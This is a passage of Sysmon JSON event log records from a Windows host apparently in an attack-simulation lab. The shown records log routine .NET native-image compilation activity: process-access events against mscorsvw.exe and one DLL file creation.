C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010B0320D00}","TargetProcessId":"2512","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7370,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.620\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-001050360D00}\r\nTargetProcessId: 2800\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.620","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-001050360D00}","TargetProcessId":"2800","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7371,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.620\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-001050360D00}\r\nTargetProcessId: 2800\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.620","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-001050360D00}","TargetProcessId":"2800","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7372,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.635\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-001050360D00}\r\nTargetProcessId: 2800\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.635","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-001050360D00}","TargetProcessId":"2800","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7373,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:03.088\r\nProcessGuid: {90617006-42BA-5F2D-0000-001050360D00}\r\nProcessId: 2800\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\af0-0\\PresentationFramework.Aero.dll\r\nCreationUtcTime: 2020-08-07 12:02:03.088","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:03.088","ProcessGuid":"{90617006-42BA-5F2D-0000-001050360D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\af0-0\\PresentationFramework.Aero.dll","CreationUtcTime":"2020-08-07 12:02:03.088","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7374,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.135\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BB-5F2D-0000-0010433B0D00}\r\nTargetProcessId: 4868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.135","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BB-5F2D-0000-0010433B0D00}","TargetProcessId":"4868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7375,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BB-5F2D-0000-0010433B0D00}\r\nTargetProcessId: 4868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BB-5F2D-0000-0010433B0D00}","TargetProcessId":"4868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7376,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.150\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BB-5F2D-0000-0010433B0D00}\r\nTargetProcessId: 4868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.150","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BB-5F2D-0000-0010433B0D00}","TargetProcessId":"4868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7377,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BB-5F2D-0000-0010083F0D00}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BB-5F2D-0000-0010083F0D00}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 